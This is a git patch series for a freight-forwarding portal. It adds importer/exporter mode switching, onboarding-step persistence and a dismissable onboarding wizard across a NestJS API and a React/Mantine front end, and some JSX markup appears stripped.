+1,8 @@ -import { ExternalProfile } from '../entities/external-profile.entity'; +import { Company } from '../entities/company.entity'; +import { + ExternalProfile, +} from '../entities/external-profile.entity'; +import { ProfileType } from '../entities/company-profile.entity'; export class ResponseExternalProfileDto { id: string; @@ -11,10 +15,20 @@ export class ResponseExternalProfileDto { nationalId?: string | null; jobTitle?: string | null; isPrimaryContact: boolean; + /** The active operational mode (importer/exporter/forwarder). */ + activeProfileType?: ProfileType | null; + /** + * The id of the company_profile matching activeProfileType, resolved + * server-side so the client never re-derives it. Null until a company + * (with profiles) is loaded and a matching profile exists. + */ + activeCompanyProfileId?: string | null; + onboardingStep?: string | null; + onboardingCompleted: boolean; createdAt: Date; updatedAt: Date; - constructor(profile: ExternalProfile) { + constructor(profile: ExternalProfile, company?: Company) { this.id = profile.id; this.userId = profile.userId; this.companyId = profile.companyId; @@ -25,6 +39,13 @@ export class ResponseExternalProfileDto { this.nationalId = profile.nationalId; this.jobTitle = profile.jobTitle; this.isPrimaryContact = profile.isPrimaryContact; + this.activeProfileType = profile.activeProfileType ?? null; + this.onboardingStep = profile.onboardingStep ?? null; + this.onboardingCompleted = profile.onboardingCompleted ?? false; + this.activeCompanyProfileId = + company?.companyProfiles?.find( + (p) => p.type === profile.activeProfileType, + )?.id ?? null; this.createdAt = profile.createdAt; this.updatedAt = profile.updatedAt; } diff --git a/apps/edr-freight-api/src/modules/companies/dto/set-active-mode.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/set-active-mode.dto.ts new file mode 100644 index 000000000..ac8f57a93 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/set-active-mode.dto.ts @@ -0,0 +1,7 @@ +import { IsEnum } from 'class-validator'; +import { ProfileType } from '../entities/company-profile.entity'; + +export class SetActiveModeDto { + @IsEnum(ProfileType) + type!: ProfileType; +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/set-onboarding-step.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/set-onboarding-step.dto.ts new file mode 100644 index 000000000..43967abc8 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/set-onboarding-step.dto.ts @@ -0,0 +1,7 @@ +import { IsString, MaxLength } from 'class-validator'; + +export class SetOnboardingStepDto { + @IsString() + @MaxLength(40) + step!: string; +} diff --git a/apps/edr-freight-api/src/modules/companies/entities/external-profile.entity.ts b/apps/edr-freight-api/src/modules/companies/entities/external-profile.entity.ts index 91a014f10..3b1554cc9 100644 --- a/apps/edr-freight-api/src/modules/companies/entities/external-profile.entity.ts +++ b/apps/edr-freight-api/src/modules/companies/entities/external-profile.entity.ts @@ -1,6 +1,7 @@ import { BaseEntity } from '@edr/api-common'; import { Column, Entity, Index, ManyToOne, JoinColumn } from 'typeorm'; import { Company } from './company.entity'; +import { ProfileType } from './company-profile.entity'; @Entity({ schema: 'freight', name: 'external_profiles' }) @Index(['userId']) @@ -36,4 +37,31 @@ export class ExternalProfile extends BaseEntity { @Column({ name: 'is_primary_contact', type: 'boolean', default: false }) isPrimaryContact!: boolean; + + /** + * The operational profile the user is currently "in" (importer vs exporter, + * or the single forwarder profile). Drives header switching and scopes the + * customer's bookings / dashboard to that company_profile. Nullable for + * users who haven't picked a role yet. + */ + @Column({ + name: 'active_profile_type', + type: 'varchar', + length: 32, + nullable: true, + enum: ProfileType, + }) + activeProfileType?: ProfileType | null; + + /** Coarse resume point for the onboarding wizard (e.g. 'role', 'company', 'documents', 'done'). */ + @Column({ + name: 'onboarding_step', + type: 'varchar', + length: 40, + nullable: true, + }) + onboardingStep?: string | null; + + @Column({ name: 'onboarding_completed', type: 'boolean', default: false }) + onboardingCompleted!: boolean; } diff --git a/apps/edr-freight-web/portal/src/App.tsx b/apps/edr-freight-web/portal/src/App.tsx index bbcdba42e..5394c1fb8 100644 --- a/apps/edr-freight-web/portal/src/App.tsx +++ b/apps/edr-freight-web/portal/src/App.tsx @@ -19,13 +19,13 @@ import { } from "react-router-dom"; import useAuth from "./hooks/useAuth"; +import OnboardingWizardDialog from "./components/onboarding/OnboardingWizardDialog"; import EDRFreightLandingPage from "./pages/EDRFreightLandingPage"; import MyPortalPage from "./pages/MyPortalPage"; import ProfilePage from "./pages/ProfilePage"; import MySignaturePage from "./pages/MySignaturePage"; import SettingsPage from "./pages/SettingsPage"; import LoginPage from "./pages/accounts/LoginPage"; -import OnboardingPage from "./pages/accounts/OnboardingPage"; import SetPasswordPage from "./pages/accounts/SetPasswordPage"; import SignupPage from "./pages/accounts/SignupPage"; import VerificationOtpPage from "./pages/accounts/VerificationOtpPage"; @@ -74,9 +74,8 @@ function RequireAuth() { } /** - * Sends authenticated users without a company to onboarding. - * Only redirects on a confirmed "no company" response — never on a - * transient query error. + * Waits for the company query so downstream routes can rely on it being + * resolved. Onboarding is enforced by OnboardingGate, not here. */ function RequireCompany() { const { customerQuery } = useAuth(); @@ -85,13 +84,29 @@ function RequireCompany() { return ; } -/** Keeps already-onboarded users out of the onboarding flow. */ -function RequireNoCompany() { - const { customerQuery } = useAuth(); +/** + * Enforces first-run onboarding. Until the user finishes, only the home + * (/portal) page is reachable; any attempt to navigate elsewhere bounces back + * to home with the blocking wizard dialog open. New users (no company yet) are + * treated the same as users who haven't completed onboarding. + */ +function OnboardingGate() { + const { company, onboardingCompleted } = useAuth(); + const location = useLocation(); - if (customerQuery.isPending) return ; - if (customerQuery.data) return ; - return ; + const needsOnboarding = !company || !onboardingCompleted; + const onHome = location.pathname === "/portal"; + + if (needsOnboarding && !onHome) { + return ; + } + + return ( + <> + + + + ); } /** Keeps authenticated users off the login/signup pages. */ @@ -146,7 +161,14 @@ const sidebarItems: SidebarItem[] = [ const App = () => { const navigate = useNavigate(); const location = useLocation(); - const { user, company } = useAuth(); + const { + user, + company, + activeProfileType, + companyType, + switchMode, + createProfileAndSwitch, + } = useAuth(); const displayName = user?.name?.en || user?.username || user?.email || "User"; const userEmail = user?.email; @@ -176,10 +198,6 @@ const App = () => { } /> }> - }> - } /> - - }> { userName={displayName} userEmail={userEmail} companyProfiles={companyProfiles} + companyType={companyType} + activeProfileType={activeProfileType} + onSwitchMode={switchMode} + onCreateProfile={createProfileAndSwitch} > - + } > diff --git a/apps/edr-freight-web/portal/src/components/AppLayout.tsx b/apps/edr-freight-web/portal/src/components/AppLayout.tsx index e0de92ec5..f96eaf03d 100644 --- a/apps/edr-freight-web/portal/src/components/AppLayout.tsx +++ b/apps/edr-freight-web/portal/src/components/AppLayout.tsx @@ -2,13 +2,16 @@ import { AppShell, Avatar, Box, + Button, Divider, Group, Menu, + Modal, NavLink, ScrollArea, Stack, Text, + TextInput, UnstyledButton, useComputedColorScheme, useMantineColorScheme, @@ -16,7 +19,9 @@ import { } from "@mantine/core"; import { useDisclosure } from "@mantine/hooks"; import { + ArrowLeftRight, Bell, + Check, ChevronDown, FileSignature, LogOut, @@ -29,7 +34,12 @@ import { User, X, } from "lucide-react"; -import { type CSSProperties, Fragment, type ReactNode } from "react"; +import { + type CSSProperties, + Fragment, + type ReactNode, + useState, +} from "react"; export interface SidebarItem { label: string; @@ -49,9 +59,23 @@ export interface AppLayoutProps { userEmail?: string; /** Operational profiles for the company — surfaced as reference chips in the account menu. */ companyProfiles?: { type: string; reference: string; status?: string }[]; + /** Company type (e.g. "customer", "forwarder") — gates the importer/exporter switch. */ + companyType?: string | null; + /** The active operational mode (importer/exporter/...). */ + activeProfileType?: string | null; + /** Switch to an existing profile of the given type. */ + onSwitchMode?: (type: ImporterExporter) => Promise | void; + /** Create the profile of the given type (with business license) then switch. */ + onCreateProfile?: ( + type: ImporterExporter, + businessLicense?: string, + ) => Promise | void; children: ReactNode; } +type ImporterExporter = "importer" | "exporter"; +type SwitchResult = { success: boolean; error?: string }; + const PROFILE_TYPE_LABELS: Record = { importer: "Importer", exporter: "Exporter", @@ -117,6 +141,10 @@ export function AppLayout({ userName = "User", userEmail, companyProfiles = [], + companyType, + activeProfileType, + onSwitchMode, + onCreateProfile, children, }: AppLayoutProps) { const [mobileOpen, { toggle: toggleMobile }] = useDisclosure(); @@ -142,6 +170,56 @@ export function AppLayout({ const initials = getInitials(userName); const activePage = getActivePage(sidebarItems, activePath); + // ── Importer/Exporter mode switching (customer companies only) ── + const isCustomer = companyType === "customer"; + const targetMode: ImporterExporter = + activeProfileType === "importer" ? "exporter" : "importer"; + const targetExists = companyProfiles.some((p) => p.type === targetMode); + const canSwitch = + isCustomer && + (activeProfileType === "importer" || activeProfileType === "exporter"); + + const [switching, setSwitching] = useState(false); + const [createOpen, setCreateOpen] = useState(false); + const [businessLicense, setBusinessLicense] = useState(""); + const [createError, setCreateError] = useState(null); + + const handleSwitchClick = async () => { + if (targetExists) { + setSwitching(true); + try { + await onSwitchMode?.(targetMode); + } finally { + setSwitching(false); + } + } else { + setBusinessLicense(""); + setCreateError(null); + setCreateOpen(true); + } + }; + + const handleCreateConfirm = async () => { + setSwitching(true); + setCreateError(null); + try { + const res = await onCreateProfile?.( + targetMode, + businessLicense.trim() || undefined, + ); + if (res && !res.success) { + setCreateError(res.error ?? "Failed to create profile"); + return; + } + setCreateOpen(false); + } finally { + setSwitching(false); + } + }; + + const modeLabel = (m: ImporterExporter) => + m === "importer" ? "Importer" : "Exporter"; + const isItemActive = (item: SidebarItem) => activePath === item.href.toLowerCase() || activePath.startsWith(item.href.toLowerCase() + "/"); @@ -212,8 +290,25 @@ export function AppLayout({ - {/* Right: search + bell + avatar */} + {/* Right: switch + search + bell + avatar */} + {/* Importer/Exporter mode switch (customer companies only) */} + {canSwitch && ( + + )} + {/* Search pill */} - {companyProfiles.map((p) => ( - - { + const isActive = p.type === activeProfileType; + return ( + - {PROFILE_TYPE_LABELS[p.type] ?? p.type} - - - {p.reference} - - - ))} + + {isActive && ( + + )} + + {PROFILE_TYPE_LABELS[p.type] ?? p.type} + + + + {p.reference} + + + ); + })} @@ -686,6 +795,48 @@ export function AppLayout({ > {children} + + {/* Create-profile modal — opens when switching to a mode the company + doesn't have a profile for yet. */} + (switching ? undefined : setCreateOpen(false))} + title={`Set up your ${modeLabel(targetMode)} profile`} + centered + radius="lg" + > + + + You don't have an {modeLabel(targetMode).toLowerCase()} profile yet. + Add your business license to create one and switch to{" "} + {modeLabel(targetMode).toLowerCase()} mode. A new reference will be + generated automatically. + + setBusinessLicense(e.currentTarget.value)} + error={createError ?? undefined} + /> + + + + + + ); } diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx new file mode 100644 index 000000000..8e9f59b16 --- /dev/null +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -0,0 +1,209 @@ +import { Button, Group, Modal, ScrollArea, Stack, Text } from "@mantine/core"; +import { useMutation, useQueryClient } from "@tanstack/react-query"; +import { CheckCircle2 } from "lucide-react"; +import { useCallback, useState } from "react"; + +import useAuth from "@/hooks/useAuth"; +import { api } from "@/services/api"; +import type { + CompanyProfileInput, + CreateCompanyPayload, +} from "@/services/companies.service"; +import { companiesService } from "@/services/companies.service"; +import CompanyProfileForm from "@/pages/accounts/CompanyProfileForm"; +import ForwarderForm from "@/pages/accounts/ForwarderForm"; +import { FREIGHT_FORWARDER } from "@/pages/settings/companyRoles"; +import OnboardingRoleSelect from "@/pages/settings/OnboardingRoleSelect"; + +interface OnboardingWizardDialogProps { + opened: boolean; +} + +/** Map the chosen operational roles to the company type they belong to. */ +function companyTypeForRoles(roles: string[]): string { + return roles.includes(FREIGHT_FORWARDER.type) ? "forwarder" : "customer"; +} + +/** Document upload setting code per company type. */ +function documentSettingCode(companyType: string): string { + return companyType === "forwarder" + ? "company_onboarding_documents_forwarder" + : "company_onboarding_documents_customer"; +} + +/** + * Blocking, non-dismissable first-run onboarding wizard. Step 1 picks the + * operational role(s); the remaining steps reuse the existing company/forwarder + * forms. On completion the company is created with its company_profiles and the + * active mode is set server-side, then onboarding is marked complete. + */ +export default function OnboardingWizardDialog({ + opened, +}: OnboardingWizardDialogProps) { + const queryClient = useQueryClient(); + const { user, company } = useAuth(); + + // A company already exists but onboarding wasn't marked complete (e.g. the + // browser closed after create but before finishing). Don't re-create it — + // just let the user finish. + const companyAlreadyCreated = Boolean(company?.company?.id); + + // "role" → pick roles; otherwise the company/forwarder form drives its own + // internal steps. + const [phase, setPhase] = useState<"role" | "form">("role"); + const [roles, setRoles] = useState([]); + const [documentFiles, setDocumentFiles] = useState< + Record + >({}); + + const createCompanyMutation = useMutation({ + mutationFn: (payload: CreateCompanyPayload) => + api.companies.create.call(payload), + onSuccess: async (data) => { + const hasFiles = Object.values(documentFiles).some( + (f) => f !== null && (Array.isArray(f) ? f.length > 0 : true), + ); + if (hasFiles) { + await companiesService.uploadDocuments(data.company.id, documentFiles); + } + // Mark onboarding complete, then refresh the company info so the gate + // releases and the header reflects the new profile(s). + await api.companies.completeOnboarding.call(); + await queryClient.invalidateQueries({ + queryKey: api.companies.getInfo.queryKey(), + }); + }, + }); + + const finishMutation = useMutation({ + mutationFn: () => api.companies.completeOnboarding.call(), + onSuccess: async () => { + await queryClient.invalidateQueries({ + queryKey: api.companies.getInfo.queryKey(), + }); + }, + }); + + const handleRolesContinue = useCallback(() => { + setPhase("form"); + // Best-effort: remember that the user moved past role selection. + api.companies.setOnboardingStep.call({ step: "company" }).catch(() => {}); + }, []); + + const handleBackToRoles = useCallback(() => setPhase("role"), []); + + const handleSubmit = useCallback( + (payload: CreateCompanyPayload) => { + const companyProfiles: CompanyProfileInput[] = roles.map((type) => ({ + type: type as CompanyProfileInput["type"], + })); + createCompanyMutation.mutate({ + ...payload, + companyType: companyTypeForRoles(roles), + companyProfiles, + }); + }, + [roles, createCompanyMutation], + ); + + if (!user) return null; + + const isForwarder = roles.includes(FREIGHT_FORWARDER.type); + // Importer+Exporter (or either alone) is a valid customer selection. + const rolesValid = roles.length > 0; + const companyType = companyTypeForRoles(roles); + + return ( + {}} + withCloseButton={false} + closeOnClickOutside={false} + closeOnEscape={false} + size="xl" + radius="lg" + padding="xl" + centered + scrollAreaComponent={ScrollArea.Autosize} + overlayProps={{ backgroundOpacity: 0.55, blur: 4 }} + title={ + + + Complete your onboarding + + + {companyAlreadyCreated + ? "You're almost there — finish to start using the portal." + : phase === "role" + ? "Tell us what your company does to get started." + : "Set up your company profile to finish."} + + + } + > + {companyAlreadyCreated ? ( + + + + Your company profile is set up. Click finish to complete onboarding + and unlock the rest of the portal. + + + + + + ) : phase === "role" ? ( + + + + + ) : isForwarder ? ( + + ) : ( + + )} + + ); +} + +function RoleContinueBar({ + disabled, + onClick, +}: { + disabled: boolean; + onClick: () => void; +}) { + return ( + + ); +} diff --git a/apps/edr-freight-web/portal/src/constants/URLS.ts b/apps/edr-freight-web/portal/src/constants/URLS.ts index 08b26a255..195dcb692 100644 --- a/apps/edr-freight-web/portal/src/constants/URLS.ts +++ b/apps/edr-freight-web/portal/src/constants/URLS.ts @@ -84,6 +84,10 @@ export const URL_CONSTANTS = { CREATE: "/api/companies/create", PROFILE: "/api/companies/profile", COMPANY_PROFILES: "/api/companies/company-profiles", + COMPANY_PROFILE: "/api/companies/company-profile", + ACTIVE_MODE: "/api/companies/active-mode", + ONBOARDING_STEP: "/api/companies/onboarding-step", + ONBOARDING_COMPLETE: "/api/companies/onboarding/complete", DASHBOARD: "/api/companies/dashboard", DOCUMENTS: (id: string) => `/api/companies/${id}/documents`, }, diff --git a/apps/edr-freight-web/portal/src/hooks/useAuth.ts b/apps/edr-freight-web/portal/src/hooks/useAuth.ts index 06900270e..3b3d84813 100644 --- a/apps/edr-freight-web/portal/src/hooks/useAuth.ts +++ b/apps/edr-freight-web/portal/src/hooks/useAuth.ts @@ -1,4 +1,5 @@ import { api } from "@/services/api"; +import type { ProfileTypeValue } from "@/services/companies.service"; import type { LoginPayload, LoginResponse, @@ -149,6 +150,54 @@ const useAuth = () => { } }; + // Active-mode (importer/exporter) state, sourced from the persisted profile. + const companyInfo = isAuthenticated ? (companyQuery.data ?? null) : null; + const activeProfileType = companyInfo?.profile?.activeProfileType ?? null; + const activeCompanyProfileId = + companyInfo?.profile?.activeCompanyProfileId ?? null; + const companyType = companyInfo?.company?.type ?? null; + const onboardingCompleted = + companyInfo?.profile?.onboardingCompleted ?? false; + const onboardingStep = companyInfo?.profile?.onboardingStep ?? null; + + /** Refetch everything scoped to the active operational profile. */ + const invalidateScopedData = async () => { + await Promise.all([ + queryClient.invalidateQueries({ + queryKey: api.companies.getInfo.queryKey(), + }), + queryClient.invalidateQueries({ + queryKey: api.companies.getDashboard.queryKey(), + }), + queryClient.invalidateQueries({ queryKey: ["bookings"] }), + ]); + }; + + const switchMode = async ( + type: ProfileTypeValue, + ): Promise> => { + try { + await api.companies.setActiveMode.call({ type }); + await invalidateScopedData(); + return { success: true, data: undefined }; + } catch (err) { + return { success: false, error: extractApiError(err) }; + } + }; + + const createProfileAndSwitch = async ( + type: ProfileTypeValue, + businessLicense?: string, + ): Promise> => { + try { + await api.companies.createCompanyProfile.call({ type, businessLicense }); + await invalidateScopedData(); + return { success: true, data: undefined }; + } catch (err) { + return { success: false, error: extractApiError(err) }; + } + }; + const logout = async () => { try { await api.auth.logout.call(); @@ -174,6 +223,13 @@ const useAuth = () => { user: isAuthenticated ? (authQuery.data ?? null) : null, company: isAuthenticated ? (companyQuery.data ?? null) : null, customer: isAuthenticated ? (companyQuery.data ?? null) : null, + activeProfileType, + activeCompanyProfileId, + companyType, + onboardingCompleted, + onboardingStep, + switchMode, + createProfileAndSwitch, login, signup, setPassword, diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts index 194a1dd48..8615061d7 100644 --- a/apps/edr-freight-web/portal/src/services/api.ts +++ b/apps/edr-freight-web/portal/src/services/api.ts @@ -41,6 +41,7 @@ import type { CompanyProfileResponse, CreateCompanyPayload, DashboardSummary, + ProfileTypeValue, } from "./companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import type { @@ -135,6 +136,29 @@ export const api = { "addCompanyProfiles", companiesService.addCompanyProfiles, ), + + createCompanyProfile: endpoint< + { type: ProfileTypeValue; businessLicense?: string }, + CompanyProfileResponse + >("companies", "createCompanyProfile", companiesService.createCompanyProfile), + + setActiveMode: endpoint<{ type: ProfileTypeValue }, CompanyInfoResponse>( + "companies", + "setActiveMode", + companiesService.setActiveMode, + ), + + setOnboardingStep: endpoint<{ step: string }, void>( + "companies", + "setOnboardingStep", + companiesService.setOnboardingStep, + ), + + completeOnboarding: endpoint( + "companies", + "completeOnboarding", + companiesService.completeOnboarding, + ), }, bookings: { diff --git a/apps/edr-freight-web/portal/src/services/companies.service.ts b/apps/edr-freight-web/portal/src/services/companies.service.ts index 149705ec1..e71949045 100644 --- a/apps/edr-freight-web/portal/src/services/companies.service.ts +++ b/apps/edr-freight-web/portal/src/services/companies.service.ts @@ -5,6 +5,13 @@ import type { ApiResponse } from "@/types/apiResponse"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import { isAxiosError } from "axios"; +export type ProfileTypeValue = + | "importer" + | "exporter" + | "freight_forwarder" + | "dj_freight_forwarder" + | "transporter"; + export interface ExternalProfileResponse { id: string; userId: string; @@ -16,6 +23,12 @@ export interface ExternalProfileResponse { nationalId: string | null; jobTitle: string | null; isPrimaryContact: boolean; + /** The active operational mode (importer/exporter/forwarder). */ + activeProfileType: ProfileTypeValue | null; + /** Id of the company_profile matching activeProfileType (server-resolved). */ + activeCompanyProfileId: string | null; + onboardingStep: string | null; + onboardingCompleted: boolean; createdAt: string; updatedAt: string; } @@ -152,6 +165,40 @@ export const companiesService = { return unwrap(response.data); }, + /** Create a single operational profile and make it the active mode. */ + createCompanyProfile: async (payload: { + type: ProfileTypeValue; + businessLicense?: string; + }): Promise => { + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.COMPANY_PROFILE, + payload, + ); + return unwrap(response.data); + }, + + /** Switch the active operational mode (target profile must already exist). */ + setActiveMode: async (payload: { + type: ProfileTypeValue; + }): Promise => { + const response = await client.patch>( + URL_CONSTANTS.COMPANIES_API.ACTIVE_MODE, + payload, + ); + return unwrap(response.data); + }, + + setOnboardingStep: async (payload: { step: string }): Promise => { + await client.patch(URL_CONSTANTS.COMPANIES_API.ONBOARDING_STEP, payload); + }, + + completeOnboarding: async (): Promise => { + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.ONBOARDING_COMPLETE, + ); + return unwrap(response.data); + }, + uploadDocuments: async ( companyId: string, files: Record, From 19dea313b7214102941e6382ddd62c34024bd162 Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 19 Jun 2026 22:24:59 +0000 Subject: [PATCH 02/30] feat: implement onboarding wizard enhancements and resume functionality --- apps/edr-freight-web/portal/src/App.tsx | 81 +++++++++++++++++-- .../portal/src/components/AppLayout.tsx | 6 +- .../onboarding/OnboardingWizardDialog.tsx | 53 +++++++++--- .../src/pages/accounts/CompanyProfileForm.tsx | 16 +++- .../src/pages/accounts/ForwarderForm.tsx | 16 +++- .../portal/src/services/api.ts | 2 - 6 files changed, 149 insertions(+), 25 deletions(-) diff --git a/apps/edr-freight-web/portal/src/App.tsx b/apps/edr-freight-web/portal/src/App.tsx index 5394c1fb8..e436eaff6 100644 --- a/apps/edr-freight-web/portal/src/App.tsx +++ b/apps/edr-freight-web/portal/src/App.tsx @@ -6,8 +6,10 @@ import { MapPin, Receipt, Settings, + Sparkles, User, } from "lucide-react"; +import { useDisclosure } from "@mantine/hooks"; import { useEffect, useRef } from "react"; import { Navigate, @@ -85,30 +87,95 @@ function RequireCompany() { } /** - * Enforces first-run onboarding. Until the user finishes, only the home - * (/portal) page is reachable; any attempt to navigate elsewhere bounces back - * to home with the blocking wizard dialog open. New users (no company yet) are - * treated the same as users who haven't completed onboarding. + * Routes an un-onboarded user may still visit. The wizard auto-opens but is + * dismissable, so they can browse these freely; any other route forces the + * wizard back open and bounces them home. + */ +const ONBOARDING_ALLOWED_PATHS = ["/portal", "/signature"]; + +function isOnboardingAllowedPath(pathname: string): boolean { + const path = pathname.toLowerCase(); + return ONBOARDING_ALLOWED_PATHS.some( + (p) => path === p || path.startsWith(p + "/"), + ); +} + +/** + * Enforces first-run onboarding. The home (dashboard) and signature pages stay + * reachable while onboarding is incomplete; the wizard auto-opens on login but + * can be dismissed to use those pages. Visiting any other page bounces back to + * home and re-opens the wizard. New users (no company yet) are treated the same + * as users who haven't completed onboarding. */ function OnboardingGate() { const { company, onboardingCompleted } = useAuth(); const location = useLocation(); const needsOnboarding = !company || !onboardingCompleted; - const onHome = location.pathname === "/portal"; + const allowedHere = isOnboardingAllowedPath(location.pathname); - if (needsOnboarding && !onHome) { + // Open by default while onboarding is pending (covers the login case). + const [wizardOpen, { open: openWizard, close: closeWizard }] = + useDisclosure(false); + + // Re-evaluate on every navigation: force the wizard open on blocked routes, + // and auto-open on first arrival while onboarding is pending. + useEffect(() => { + if (needsOnboarding && !allowedHere) { + openWizard(); + } + }, [needsOnboarding, allowedHere, location.pathname, openWizard]); + + // Auto-open once when onboarding becomes/loads as pending (login). + const autoOpenedRef = useRef(false); + useEffect(() => { + if (needsOnboarding && !autoOpenedRef.current) { + autoOpenedRef.current = true; + openWizard(); + } + if (!needsOnboarding) autoOpenedRef.current = false; + }, [needsOnboarding, openWizard]); + + if (needsOnboarding && !allowedHere) { return ; } return ( <> + {needsOnboarding && !wizardOpen && ( + + )} - + ); } +/** Slim sticky prompt shown on allowed pages after the wizard is dismissed. */ +function OnboardingResumeBanner({ onResume }: { onResume: () => void }) { + return ( +
+
+ + + Finish setting up your company to unlock bookings, tracking and + billing. + +
+ +
+ ); +} + /** Keeps authenticated users off the login/signup pages. */ function RedirectIfAuthed() { const { isPending, isAuthenticated } = useAuth(); diff --git a/apps/edr-freight-web/portal/src/components/AppLayout.tsx b/apps/edr-freight-web/portal/src/components/AppLayout.tsx index f96eaf03d..db415705d 100644 --- a/apps/edr-freight-web/portal/src/components/AppLayout.tsx +++ b/apps/edr-freight-web/portal/src/components/AppLayout.tsx @@ -74,7 +74,9 @@ export interface AppLayoutProps { } type ImporterExporter = "importer" | "exporter"; -type SwitchResult = { success: boolean; error?: string }; +type SwitchResult = + | { success: true; data?: unknown } + | { success: false; error?: { message?: string } }; const PROFILE_TYPE_LABELS: Record = { importer: "Importer", @@ -208,7 +210,7 @@ export function AppLayout({ businessLicense.trim() || undefined, ); if (res && !res.success) { - setCreateError(res.error ?? "Failed to create profile"); + setCreateError(res.error?.message ?? "Failed to create profile"); return; } setCreateOpen(false); diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index 8e9f59b16..9b11267cc 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -15,8 +15,20 @@ import ForwarderForm from "@/pages/accounts/ForwarderForm"; import { FREIGHT_FORWARDER } from "@/pages/settings/companyRoles"; import OnboardingRoleSelect from "@/pages/settings/OnboardingRoleSelect"; +/** Form steps shared by CompanyProfileForm and ForwarderForm. */ +type FormStep = "company" | "personnel" | "poa" | "documents" | "confirm"; +const FORM_STEPS: FormStep[] = [ + "company", + "personnel", + "poa", + "documents", + "confirm", +]; + interface OnboardingWizardDialogProps { opened: boolean; + /** Dismiss the dialog (user clicked the close icon). */ + onClose: () => void; } /** Map the chosen operational roles to the company type they belong to. */ @@ -39,15 +51,24 @@ function documentSettingCode(companyType: string): string { */ export default function OnboardingWizardDialog({ opened, + onClose, }: OnboardingWizardDialogProps) { const queryClient = useQueryClient(); - const { user, company } = useAuth(); + const { user, company, onboardingStep } = useAuth(); // A company already exists but onboarding wasn't marked complete (e.g. the // browser closed after create but before finishing). Don't re-create it — // just let the user finish. const companyAlreadyCreated = Boolean(company?.company?.id); + // Resume position from the backend-persisted step. A form step means the user + // had already passed role selection. Cross-session we still start at role + // selection (the roles + field values aren't persisted), but within a session + // the dialog stays mounted so dismiss/reopen continues exactly where it was. + const resumeFormStep: FormStep = FORM_STEPS.includes(onboardingStep as FormStep) + ? (onboardingStep as FormStep) + : "company"; + // "role" → pick roles; otherwise the company/forwarder form drives its own // internal steps. const [phase, setPhase] = useState<"role" | "form">("role"); @@ -84,13 +105,20 @@ export default function OnboardingWizardDialog({ }, }); - const handleRolesContinue = useCallback(() => { - setPhase("form"); - // Best-effort: remember that the user moved past role selection. - api.companies.setOnboardingStep.call({ step: "company" }).catch(() => {}); + // Persist the resume step to the backend (best-effort, fire-and-forget). + const persistStep = useCallback((step: string) => { + api.companies.setOnboardingStep.call({ step }).catch(() => {}); }, []); - const handleBackToRoles = useCallback(() => setPhase("role"), []); + const handleRolesContinue = useCallback(() => { + setPhase("form"); + persistStep("company"); + }, [persistStep]); + + const handleBackToRoles = useCallback(() => { + setPhase("role"); + persistStep("role"); + }, [persistStep]); const handleSubmit = useCallback( (payload: CreateCompanyPayload) => { @@ -116,14 +144,15 @@ export default function OnboardingWizardDialog({ return ( {}} - withCloseButton={false} + onClose={onClose} + withCloseButton closeOnClickOutside={false} - closeOnEscape={false} - size="xl" + closeOnEscape + size={1040} radius="lg" padding="xl" centered + keepMounted scrollAreaComponent={ScrollArea.Autosize} overlayProps={{ backgroundOpacity: 0.55, blur: 4 }} title={ @@ -173,6 +202,8 @@ export default function OnboardingWizardDialog({ onSubmit={handleSubmit} isPending={createCompanyMutation.isPending} onBack={handleBackToRoles} + initialStep={resumeFormStep} + onStepChange={persistStep} /> ) : ( )} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 3a26c92b2..913726008 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -22,7 +22,7 @@ import { UploadCloud, User, } from "lucide-react"; -import { useState } from "react"; +import { useEffect, useState } from "react"; import { useForm } from "react-hook-form"; import { z } from "zod"; @@ -126,6 +126,8 @@ export default function CompanyProfileForm({ onSubmit, isPending, onBack, + initialStep, + onStepChange, }: { documentSettingCode: string; documentFiles?: Record; @@ -134,8 +136,18 @@ export default function CompanyProfileForm({ onSubmit: (data: CreateCompanyPayload) => void; isPending: boolean; onBack: () => void; + /** Step to resume at (defaults to "company"). */ + initialStep?: CompanyStep; + /** Reports the active step so the parent can persist resume progress. */ + onStepChange?: (step: CompanyStep) => void; }) { - const [step, setStep] = useState("company"); + const [step, setStep] = useState(initialStep ?? "company"); + + // Report each step change up so the wizard can persist it for resume. + useEffect(() => { + onStepChange?.(step); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [step]); const [internalFiles, setInternalFiles] = useState< Record >({}); diff --git a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx index 71db345ec..6f06d9c48 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx @@ -11,7 +11,7 @@ import { UploadCloud, User, } from "lucide-react"; -import { useState } from "react"; +import { useEffect, useState } from "react"; import { useForm } from "react-hook-form"; import { z } from "zod"; @@ -91,6 +91,8 @@ export default function ForwarderForm({ onSubmit, isPending, onBack, + initialStep, + onStepChange, }: { documentSettingCode: string; documentFiles?: Record; @@ -99,8 +101,18 @@ export default function ForwarderForm({ onSubmit: (data: 